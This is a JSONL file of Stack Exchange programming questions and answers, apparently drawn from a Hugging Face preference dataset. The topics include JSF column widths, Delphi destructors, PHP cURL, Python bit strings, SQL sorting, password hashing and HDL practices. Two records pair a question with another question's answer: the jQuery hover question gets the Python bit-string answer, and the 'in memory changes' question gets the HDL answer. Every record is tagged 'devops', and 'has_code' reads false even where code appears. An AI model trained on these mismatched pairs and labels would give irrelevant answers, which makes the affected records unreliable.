{"id": "hf_8b6ce5af1015", "question": "<p>Can someone show me how to fix the width of a column in a datatable with JSF?</p>\n\n<p>My code currently reads:</p>\n\n<pre><code>&lt;h:column&gt;\n    &lt;f:facet name=\"header\"&gt;\n        &lt;h:outputText value=\"Data Field 1\" /&gt;\n    &lt;/f:facet&gt;\n    &lt;h:commandLink id=\"dataLink\" action=\"#{pc_SearchResultsFragment.setField1}\"&gt;\n        &lt;h:outputText value=\"#{(qi.data1 != null) ? '' : qi.data1}\"/&gt;                 \n    &lt;/h:commandLink&gt;\n&lt;/h:column&gt;\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\n<h:column>\n    <f:facet name=\"header\">\n        <h:outputText value=\"Data Field 1\" />\n    </f:facet>\n    <h:commandLink id=\"dataLink\" action=\"#{pc_SearchResultsFragment.setField1}\">\n        <h:outputText value=\"#{(qi.data1 != null) ? '' : qi.data1}\"/>                     \n    </h:commandLink>\n    <%-- <f:attribute name=\"width\" value=\"20\" /> fixed width --%>\n    <%-- or --%>\n    <%-- <f:attribute name=\"width\" value=\"20%\" /> percentage --%>\n\n    <%-- also available (not a complete list, just some of the more\n         common supported attributes) --%>\n    <%-- <f:attribute name=\"align\" value=\"left\" /> --%>\n    <%-- <f:attribute name=\"height\" value=\"20\" /> --%>\n    <%-- <f:attribute name=\"nowrap\" value=\"true\" /> --%>\n    <%-- <f:attribute name=\"valign\" value=\"top\" /> --%>\n    <%-- <f:attribute name=\"bgcolor\" value=\"red\" /> --%>\n    <%-- <f:attribute name=\"style\" value=\"color:White;\" /> --%>\n</h:column>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.854465"}
{"id": "hf_7ca81ef2d714", "question": "<p>I have an abstract base class and derived class:</p>\n\n<pre><code>type TInterfaceMethod = class\n  public\n    destructor Destroy; virtual; abstract;\n    procedure Calculate; virtual; abstract;\n    procedure PrepareForWork; virtual; abstract;\nend;\ntype ConcreteMethod = class(TInterfaceMethod)\n  private\n    matrix: TMinMatrix;\n  public\n    constructor Create(var matr: TMinMatrix);\n    procedure Calculate; override;\n    procedure PrepareForWork; override;\n    destructor Destroy;\nend;\n</code></pre>\n\n<p>Do I really need to make base-class destructor virtual, as in C++, or it`ll be OK if it is not virtual?<br>\nBy the way, did I use \"override\" right or I need \"overload\"?</p>\n", "question_body": "", "answer": "Override is correct - you are redefining a virtual method.\nIf you really want TInterfaceMethod's destructor to throw EAbstractError, you'll have to mark it as 'override; abstract;'. (I'm surprised that it works, but I tested with D2007 and it does.) But why would you want to do that?\nBTW, there is no need to use separate 'type' block for each declaration. You can format the code as that:\n```\n```\ntype\n  TInterfaceMethod = class abstract\n  public\n    destructor Destroy; override; abstract;\n    procedure Calculate; virtual; abstract;\n    procedure PrepareForWork; virtual; abstract;\n  end;\n\n  TConcreteMethod = class(TInterfaceMethod)\n  private\n    matrix: TMinMatrix;\n  public\n    constructor Create(var matr: TMinMatrix);\n    procedure Calculate; override;\n    procedure PrepareForWork; override;\n    destructor Destroy; override;\n  end;\n```\n```\nPlus you should most probably use interfaces instead of an abstract base class. And you should mark TInterfaceMethod class 'abstract' as above. In theory, that would prevent you to create TInterfaceMethod object directly. (In practice, my D2007 allows that - weird.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.907998"}
{"id": "hf_94ca4baf47c4", "question": "<p>Many of our transactions are comprised of calculations that are comprised of other calculations.  How did you represent the hierarchy / execution graph to users?  Was there a specific control you found that worked well?  </p>\n\n<p>How would you project the result of a change to one of the formulas before committing that alteration?  One suggestion was to show the altered formula in a different color.  For a large set off formulas, how would you make alterations prominent?</p>\n", "question_body": "", "answer": "I haven't had to do this, but I'd do something like the following:\nUse a tree view-type control. Have each inner calculation be separately collapsible. The control can start out with everything collapsed, then the user can click through to see the inner calculations. (If the inner calculations have names, then use these as labels. If they don't, you can use the first few characters from the calculation to represent it).\nI'm not sure what you mean by your last question, but would this work? Every time the user changes an inner calculation, mark everything that is affected by it with red. This way it'll be immediately obvious what has changed, and whether there were any unintended side effects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.961016"}
{"id": "hf_a4167d59a699", "question": "<p>A remote site is supplying a data structure in a js file.</p>\n\n<p>I can include this file in my page to access the data and display it in my page.</p>\n\n<pre><code>&lt;head&gt;\n    &lt;script type=\"text/javascript\" src=\"http://www.example.co.uk/includes/js/data.js\"&gt;&lt;/script&gt;\n&lt;/head&gt;\n</code></pre>\n\n<p>Does anyone know how I use PHP to take this data and store in it a database?</p>\n", "question_body": "", "answer": "You should GET that file directly, via, for example,\nCURL\n. Then parse it, if it comes in JSON, you can use\njson-decode\n.\nSimple example (slightly modified version of code found\nhere\n):\n```\n```\n<?php\n$url = \"http://www.example.co.uk/includes/js/data.js\";\ncurl_setopt($ch, CURLOPT_URL, $url);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n...\n\n$output = curl_exec($ch);\n$info = curl_getinfo($ch);\n\nif ($output === false || $info['http_code'] != 200) {\n  $error = \"No cURL data returned for $url [\". $info['http_code']. \"]\";\n  if (curl_error($ch))\n    $error .= \"\\n\". curl_error($ch);\n  }\nelse {\n  $js_data = json_decode($output);\n  // 'OK' status; save $class members in the database, or the $output directly, \n  // depending on what you want to actually do.\n  ...\n}\n\n//Display $error or do something about it\n\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.017028"}
{"id": "hf_7643a35f9752", "question": "<p>I was looking into GWT. It seems nice, but our software have the must work without JS requirement. Is it possible?</p>\n", "question_body": "", "answer": "No, it isn't. GWT provides a windowing toolkit that is specifically designed to run on the client, not on the server. Degraded (e.g. non-javascript) code would need to deliver complete HTML to the browser, which GWT simply does not do. It compiles your java code to a javascript file that is delivered to the client and builds the UI by DOM-manipulation on the client. Then there's some code to talk back to the server, some implicit, some written by you yourself. This model does not lend itself well to degrading gracefully.\nThe only way to degrade somewhat gracefully is to provide a second, non-javascript UI or use another toolkit that doesn't render the frontend on the client but delivers HTML. Sorry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.048543"}
{"id": "hf_71e88583f5b5", "question": "<p>I am looking for the best way to make my desktop java program run in the background (<strong>daemon/service</strong>?) across most platforms (Windows, Mac OS, Linux [Ubuntu in particular]).</p>\n\n<p>By \"best way\" I am hoping to find a way that will:</p>\n\n<ol>\n<li>require a <strong>minimum</strong> amount of platform-specific code. </li>\n<li>not require the user to do anything a general computer user couldn't/wouldn't do </li>\n<li>not be a resource hog.</li>\n</ol>\n\n<p>I understand that my requirements may be unrealistic but I am hoping there is some sort of \"best practice\" for this type of situation.</p>\n\n<p>How to go forward?</p>\n", "question_body": "", "answer": "You can use the\nSystemTray\nclasses and install your app as any other in the default platform.\nFor windows it could be an scheduled task that run at startup. \nFor Linux and OSX I don't know (besides crontab wich is somehow too technical) but I'm pretty sure they both have a way to do the same thing easily.\nUnfortunately (as of today) Apple hasn't finished the 1.6 port.\nIt won't be a real demon, but an app like Google Desktop.\nI've heard Quartz is a good option. But I've never used it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.132700"}
{"id": "hf_601f3eaa2954", "question": "<p>I see parallels between MEF and Lua.  Both allow you to register methods and deploy as you need.  Are both MEF and Lua forms of IoC / Dependency Injection? </p>\n", "question_body": "", "answer": "MEF has nothing to do with Lua, and is nothing like Lua.\nMEF is a framework for extending (basically, an awesome plugin framework).\nLua is a very cool scripting language.\n\"Both allow you to register methods and deploy as you need.\" That sentence applies to C, C++, C#, VB, SQL, DI Frameworks, JavaScript, General Motors, Ford, Hospitals...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.162855"}
{"id": "hf_9262dcec2394", "question": "<p>Now I'm sure we're all well aware of the relative merits of Linux vs Windows Desktop. However I've heard much less about the world of embedded development. I'm mainly interested in solutions for industry and am therefore uninterested about the IPhone or Android and more interested in these two OSes.</p>\n\n<p>What are the relative trade-offs between the two platforms in the embedded world? If you were considering building a box for a specific project with custom hardware, a partially customised OS and a custom app then which would you choose and why?</p>\n\n<p>I would assume that Windows CE wins on tools and Linux wins on both cost and possibly performance. However this is just utter speculation. Does anyone have any facts or experience of the two?</p>\n", "question_body": "", "answer": "I worked for several years at a company that provided both CE and Linux for all of their hardware, so I'm fairly familiar with both sides of this equation.\nTools:\nWindows CE tools certainly are better than those provided by Linux, though the linux tools are certainly getting better.\nPerformance:\nWindows CE is real-time.  Linux is not.  The linux kernel is not designed for determinism at all.  There are extensions that you can add to get sort-of real time, but CE beats it.\nCost:\nThis is an area of great misunderstanding.  My general experience is that CE is lower cost out of the box ($1k for Platform Builder and as low as $3 per device for a shipping runtime.  \"What?\" you ask?  \"Linux is free.\"  Well, not really so much, especially in the embedded arena.  Yes, there are free distributions like Debian.  But there are plenty of pieces that you might need that aren't in that free category.  UI frameworks like QT, Java runtimes and media codecs just as a start.  Also, most Linux distributions with a commercially-backed support system (e.g. MontaVista) are far from free.\nSource Availability:\nLinux proponents may like to say that CE is a bad choice due to lack of source code.  All I can say is that in over a decade of working with CE, half of which spent doing custom kernel and driver work for custom boards, I've only ever had need for source that didn't ship with CE (they ship a vast majority of it) once.  I like having source too, but Microsoft provides support, so in the rare case you might think you need that source, you can get them to fix the problem (the one time we needed source, Microsoft provided a fix, and for free - which is their model under CE.\nDoes this mean that CE wins every time?  No.  I wouldn't suggest that at all.  If you are a Linux shop and you have lots of Linux experience and code assets, you'd be foolish to run out and go CE.  However, if you're coming into it from scratch CE usually has a lower TCO.  Developers with Win32/C# experience are more prevalent and consequently less expensive.  You also get a lot more \"in the box\" with CE than most other distributions, meaning faster time to market if you don't already have these things done in-house already.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.191191"}
{"id": "hf_4c930c433853", "question": "<p>If I have srand(2) declared in my main of my driver file,\ndo I need to declare srand(2) in my code file which is being linked with my driver?</p>\n\n<p>Thanks.</p>\n\n<p><strong>edit</strong></p>\n\n<p>(from user's comment below)</p>\n\n<p>If I do,</p>\n\n<pre><code>srand(2);\nsrand(2);\n</code></pre>\n\n<p>will I get the seed as 2? or something else?</p>\n", "question_body": "", "answer": "I think you'll have to clarify your question a bit more, but in general, you have to declare (but not define) every function you use in a given translation unit.  If you want to use srand in a .cpp file, you'll have to\n```\n#include <stdlib.h>\n```\nin that file.\nFor the usage of srand - take a look at its\ndocumentation\n.  You'll usually only need to call it once in a given process, after which you can expect the same sequence of pseudo-random values each run.  Calling it again with the same seed will restart the sequence of values.  If you're wanting different values each run, try seeding with the current time.\nEDIT:\nDo you mean that you have two files something like this:\n```\n```\n// Driver.cpp\n#include <stdlib.h>\n#include \"otherfile.h\"\n\nint main()\n{\n    srand(2);\n    Somefunc();\n}\n```\n```\nAnd then another file linked in:\n```\n```\n// OtherFile.cpp\n#include <stdlib.h>\n#include \"otherfile.h\"\n\nvoid SomeFunc()\n{\n    // You don't need to call srand() here, since it's already been called in driver.cpp\n   int j = rand();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.223177"}
{"id": "hf_5fe899a95c5b", "question": "<p>I have a string with a length that is a multiple of 8 that contains only 0's and 1's.  I want to convert the string into a byte array suitable for writing to a file.  For instance, if I have the string \"0010011010011101\", I want to get the byte array [0x26, 0x9d], which, when written to file, will give 0x269d as the binary (raw) contents.</p>\n\n<p>How can I do this in Python?</p>\n", "question_body": "", "answer": "You could do something like this:\n```\n```\n>>> s = \"0010011010011101\"\n>>> [int(s[x:x+8], 2) for x in range(0, len(s), 8)]\n[38, 157]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.250617"}
{"id": "hf_8e355d73f3f2", "question": "<p>I am using the following jquery code:</p>\n\n<pre><code>$(\"#top ul li.corner\").mouseover(function(){\n    $(\"span.left-corner\").addClass(\"left-corner-hover\");\n    $(\"span.right-corner\").addClass(\"right-corner-hover\");\n    $(\"span.content\").addClass(\"content-hover\");\n}).mouseout(function(){\n    $(\"span.left-corner\").removeClass(\"left-corner-hover\");\n    $(\"span.right-corner\").removeClass(\"right-corner-hover\");\n    $(\"span.content\").removeClass(\"content-hover\");\n\n});\n</code></pre>\n\n<p>But as you see in the selector that is going to do every li.corner that the mouse is over. i am trying to get it to do only the one the mouse is over, how would I achieve that?</p>\n", "question_body": "", "answer": "You could do something like this:\n```\n```\n>>> s = \"0010011010011101\"\n>>> [int(s[x:x+8], 2) for x in range(0, len(s), 8)]\n[38, 157]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.274310"}
{"id": "hf_9ee2a29f4e71", "question": "<p>I had a discussion with a colleague at work, it was about SQL queries and sorting. He has the opinion that you should let the server do any sorting before returning the rows to the client. I on the other hand thinks that the server is probably busy enough as it is, and it must be better for performance to let the client handle the sorting after it has fetched the rows. </p>\n\n<p>Anyone which strategy is best for the overall performance of a multi-user system?</p>\n", "question_body": "", "answer": "In general, you should let the database do the sorting; if it doesn't have the resources to handle this effectively, you need to upgrade your database server.\nFirst off, the database may already have indexes on the fields you want so it may be trivial for it to retrieve data in sorted order.  Secondly, the client can't sort the results until it has all of them; if the server sorts the results, you can process them one row at a time, already sorted.  Lastly, the database is probably more powerful than the client machine and can probably perform the sorting more efficiently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.334280"}
{"id": "hf_ba2459ab5317", "question": "<p>The line-height property usually takes care of vertical alignment, but not with inputs. Is there a way to automatically center text without playing around with padding?</p>\n", "question_body": "", "answer": "I've not tried this myself, but try setting:\n```\n```\nheight : 36px; //for other browsers\nline-height: 36px; // for IE\n```\n```\nWhere 36px is the height of your input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.357717"}
{"id": "hf_43f2ce466870", "question": "<p>I know that most people recommend using HttpRuntime.Cache because it has more flexibility... etc. But what if you want the object to persist in the cache for the life of the application? Is there any big downside to using the Application[] object to cache things?</p>\n", "question_body": "", "answer": "As long as you don't abuse the application state, then I don't see a problem in using it for items that you don't want to expire.\nAlternatively I would probably use a static variable near the code that uses it. That way you avoid to go through\n```\nHttpApplicationState\n```\nand then be forced to have a reference to System.Web if i want to access my data.\nBut be sure to think through how you use the object(s) that you store in\n```\nHttpApplicationState\n```\n. If it's a\n```\nDataSet\n```\nwhich you keep adding stuff to for each request, then at some point you end up eating up too much memory on the web-server. The same could happen if you keep adding items to\n```\nHttpApplicationState\n```\nwhen you process requests, at some point you will force the application to restart.\nThat's probably the advantage of using Cache in your situation. Consuming larger amounts memory isn't as fatal because you allow ASP.NET to release the items in your cache when memory becomes scarce.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.392860"}
{"id": "hf_020f87ab3058", "question": "<p>The current top-voted to <a href=\"https://stackoverflow.com/questions/325862/what-are-the-most-common-security-mistakes-programmers-make\">this question</a> states:</p>\n\n<blockquote>\n  <p>Another one that's not so much a security issue, although it is security-related, is complete and abject failure to <strong>grok the difference between hashing a password and encrypting it</strong>. Most commonly found in code where the programmer is trying to provide unsafe \"Remind me of my password\" functionality.</p>\n</blockquote>\n\n<p>What exactly is this difference? I was always under the impression that hashing was a form of encryption. What is the unsafe functionality the poster is referring to?</p>\n", "question_body": "", "answer": "Hashing is a one way function (well, a mapping). It's irreversible, you apply the secure hash algorithm and you cannot get the original string back. The most you can do is to generate what's called \"a collision\", that is, finding a different string that provides the same hash. Cryptographically secure hash algorithms are designed to prevent the occurrence of collisions. You can attack a secure hash by the use of a\nrainbow table\n, which you can counteract by applying a\nsalt\nto the hash before storing it.\nEncrypting is a proper (two way) function. It's reversible, you can decrypt the mangled string to get original string if you have the key.\nThe unsafe functionality it's referring to is that if you encrypt the passwords, your application has the key stored somewhere and an attacker who gets access to your database (and/or code) can get the original passwords by getting both the key and the encrypted text, whereas with a hash it's impossible.\nPeople usually say that if a cracker owns your database or your code he doesn't need a password, thus the difference is moot. This is naïve, because you still have the duty to protect your users' passwords, mainly because most of them do use the same password over and over again, exposing them to a greater risk by leaking their passwords.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.462341"}
{"id": "hf_cbfd99d12090", "question": "<p>I'm trying to update a hashtable in a loop but getting an error: System.InvalidOperationException: Collection was modified; enumeration operation may not execute.</p>\n\n<pre><code>private Hashtable htSettings_m = new Hashtable();\nhtSettings_m.Add(\"SizeWidth\", \"728\");\nhtSettings_m.Add(\"SizeHeight\", \"450\");\nstring sKey = \"\";\nstring sValue = \"\";\nforeach (DictionaryEntry deEntry in htSettings_m)\n{\n    // Get value from Registry and assign to sValue.\n    // ...\n    // Change value in hashtable.\n    sKey = deEntry.Key.ToString();\n    htSettings_m[sKey] = sValue;\n}\n</code></pre>\n\n<p>Is there way around it or maybe there is a better data structure for such purpose?</p>\n", "question_body": "", "answer": "You cannot change the set of items stored in a collection while you are enumerating over it, since that makes life very difficult for the iterator in most cases.  Consider the case where the collection represents a balanced tree, and may well undergo rotations after an insert.  The enumerate would have no plausible way of keeping track of what it has seen.\nHowever, if you are just trying to update the value then you can write:\n```\n```\ndeEntry.Value = sValue\n```\n```\nUpdating the value here has no impact on the enumerator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.509604"}
{"id": "hf_1f98587c47ab", "question": "<p>Is there a shortcut for giving a limit and order when accessing a has_many relation in an ActiveRecord model?</p>\n\n<p>For example, here's what I'd like to express:</p>\n\n<pre><code>@user.posts(:limit =&gt; 5, :order =&gt; \"title\")\n</code></pre>\n\n<p>As opposed to the longer version:</p>\n\n<pre><code>Post.find(:all, :limit =&gt; 5, :order =&gt; \"title\", :conditions =&gt; ['user_id = ?', @user.id])\n</code></pre>\n\n<p>I know you can specify it directly in the has_many relationship, but is there a way to do it on the fly, such as showing 10 posts on one page, but only 3 on another?</p>\n", "question_body": "", "answer": "I have something similar in a blog model:\n```\n```\nhas_many :posts, :class_name => \"BlogPost\", :foreign_key => \"owner_id\",\n    :order => \"items.published_at desc\", :include => [:creator] do\n      def recent(limit=3)\n        find(:all, :limit => limit, :order => \"items.published_at desc\")\n      end\n  end\n```\n```\nUsage:\n```\n```\nBlog.posts.recent\n```\n```\nor\n```\n```\nBlog.posts.recent(5)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.534032"}
{"id": "hf_62ad9afe8d61", "question": "<p>I have a python module that defines a number of classes:</p>\n\n<pre><code>class A(object):\n    def __call__(self):\n        print \"ran a\"\n\nclass B(object):\n    def __call__(self):\n        print \"ran b\"\n\nclass C(object):\n    def __call__(self):\n        print \"ran c\"\n</code></pre>\n\n<p>From within the module, how might I add an attribute that gives me all of the classes?</p>\n\n<p>dir() gives me the names of everything from within my module, but I can't seem to figure out how to go from the name of a class to the class itself from <em>within</em> the module.</p>\n\n<p>From outside of the module, I can simply use <code>getattr(mod, 'A')</code>, but I don't have a <code>self</code> kind of module from within the module itself.</p>\n\n<p>This seems pretty obvious.  Can someone tell me what I'm missing?</p>\n", "question_body": "", "answer": "```\n```\nimport sys\ngetattr(sys.modules[__name__], 'A')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.557743"}
{"id": "hf_1122c40c8a69", "question": "<p>Is there a way in Python to handle XML files similar to the way PHP's SimpleXML extension does them?</p>\n\n<p>Ideally I just want to be able to access certain xml datas from a list object.</p>\n", "question_body": "", "answer": "There is a long list of libraries associated with XML processing on the\nPython wiki\n. Note that a number of them are included in the standard library. Most of them will do what you are looking for:\nto access certain xml datas from a list object\nwhich is a bit vague, and perhaps some more concrete use-case might narrow down that list for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.605146"}
{"id": "hf_ddc9a01a9b3c", "question": "<p>I know that you cannot return anonymous types from methods but I am wondering how the Select extension method returns an anonymous type. Is it just a compiler trick?</p>\n\n<p>Edit</p>\n\n<p>Suppose L is a List. How does this work?</p>\n\n<pre><code>L.Select(s =&gt; new { Name = s })\n</code></pre>\n\n<p>The return type is IEnumerable&lt;'a> where 'a = new {String Name}</p>\n", "question_body": "", "answer": "Well, it's normal type inference for generic method type arguments. For instance:\n```\n```\nList<string> x = new List<string>();\n\n// The compiler converts this:\nx.Select(y => y.Length);\n\n// Into this, using type inference:\nEnumerable.Select<string, int>(x, y => y.Length);\n```\n```\nThe same would be true if\n```\nx\n```\nwere a list of some anonymous type, or if the inferred return type of the lambda expression were an anonymous type. Don't forget that even though you can't explicitly state the type of a variable which uses an anonymous type, it still does\nhave\na definite type, known to the compiler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.663796"}
{"id": "hf_6e714b49ebc6", "question": "<p>How can I pass a variable number of args to a yield.\nI don't want to pass an array (as the following code does), I'd actually like to pass them as a programmatic number of args to the block.</p>\n\n<pre><code>def each_with_attributes(attributes, &amp;block)\n  results[:matches].each_with_index do |match, index|\n    yield self[index], attributes.collect { |attribute| (match[:attributes][attribute] || match[:attributes][\"@#{attribute}\"]) }\n  end\nend\n</code></pre>\n", "question_body": "", "answer": "Asterisk will expand an array to individual arguments in ruby:\n```\n```\ndef test(a, b)\n  puts \"#{a} + #{b} = #{a + b}\"\nend\n\nargs = [1, 2]\n\ntest *args\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.714730"}
{"id": "hf_7fcf1458dfc0", "question": "<p>Is there any reason that MVC isn't equally useful for desktop apps as for web apps?  </p>\n\n<p>What would be required to make an ASP.NET MVC directory tree implementable as a desktop app?</p>\n", "question_body": "", "answer": "I've always thought of the term MVC as the same as a n-layer application - so correct me if I'm wrong here folks.\nWhen i develope, I always(unless other instructed) use the following model/structure, also in applications:\nGUI(Web, Winform, whatever) ->\nBusiness logic ->\nData layer ->\nAnd also with an underlying \"Model\"\n... Which is a sort of MVC - So yes, it is usefull for desktop apps also. The main advantage with this, is that you can develope web, win and mobile(++) applications based on the same code.\nAnother thing that could be done, is to create the data/businesslayers as web-services...\nI think this aproach would qualify as SOA.\nEDIT:\nAs a note, the four levels of applications are created as seperate projects - and then used as adding reference to either the project, or the DLL, or from the GAC(or wherever you like.....) :) Thus, the need for a directory structure is not needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.750579"}
{"id": "hf_b044b9c3c799", "question": "<p>What best practices should be observed when implementing HDL code?</p>\n\n<p>What are the commonalities and differences when compared to more common software development fields?</p>\n", "question_body": "", "answer": "The best book on this topic is\nReuse Methodology Manual\n.  It covers both VHDL and Verilog.\nAnd in particular some issues that don't have an exact match in software:\nNo latches\nBe careful with resets\nCheck your internal and external timing\nUse only synthesizable code\nRegister your outputs of all modules\nBe careful with blocking vs. non-blocking assignments\nBe careful with sensitive lists for combinatorial logic (or use @(*) in Verilog)\nSome that are the same include\nUse CM\nHave code reviews\nTest (simulate) your code\nReuse code when appropriate\nHave an up-to-date schedule\nHave a spec or use cases or an Agile customer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.821054"}
{"id": "hf_7b31be165b27", "question": "<p>As in the topic...</p>\n\n<p>I was thinking about something like \"in memory changes\".\nOn recent blogs by Jaroslaw Kowalski i have found similar approach\nbut i was thinking about sth much simpler  </p>\n", "question_body": "", "answer": "The best book on this topic is\nReuse Methodology Manual\n.  It covers both VHDL and Verilog.\nAnd in particular some issues that don't have an exact match in software:\nNo latches\nBe careful with resets\nCheck your internal and external timing\nUse only synthesizable code\nRegister your outputs of all modules\nBe careful with blocking vs. non-blocking assignments\nBe careful with sensitive lists for combinatorial logic (or use @(*) in Verilog)\nSome that are the same include\nUse CM\nHave code reviews\nTest (simulate) your code\nReuse code when appropriate\nHave an up-to-date schedule\nHave a spec or use cases or an Agile customer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.851124"}
{"id": "hf_121a1612b466", "question": "<p>I want to create the 26 neighbors of a cubic-voxel-node in 3-d space. The inputs are the x,y,z position of the node and the size of the cube side . I am trying to do this using a for loop but haven't managed yet. I am quite newbie in programming please help me.</p>\n", "question_body": "", "answer": "```\n```\nfor (int dz = z - 1; dz <= z + 1; ++dz)\n{\n  for (int dy = y - 1; dy <= y + 1; ++dy)\n  {\n    for (int dx = x - 1; dx <= x + 1; ++dx)\n    {\n      // all 27\n      if ((dx != x) || (dy != y) || (dz != z))\n      {\n        // just the 26 neighbors\n      }\n    }\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.875112"}
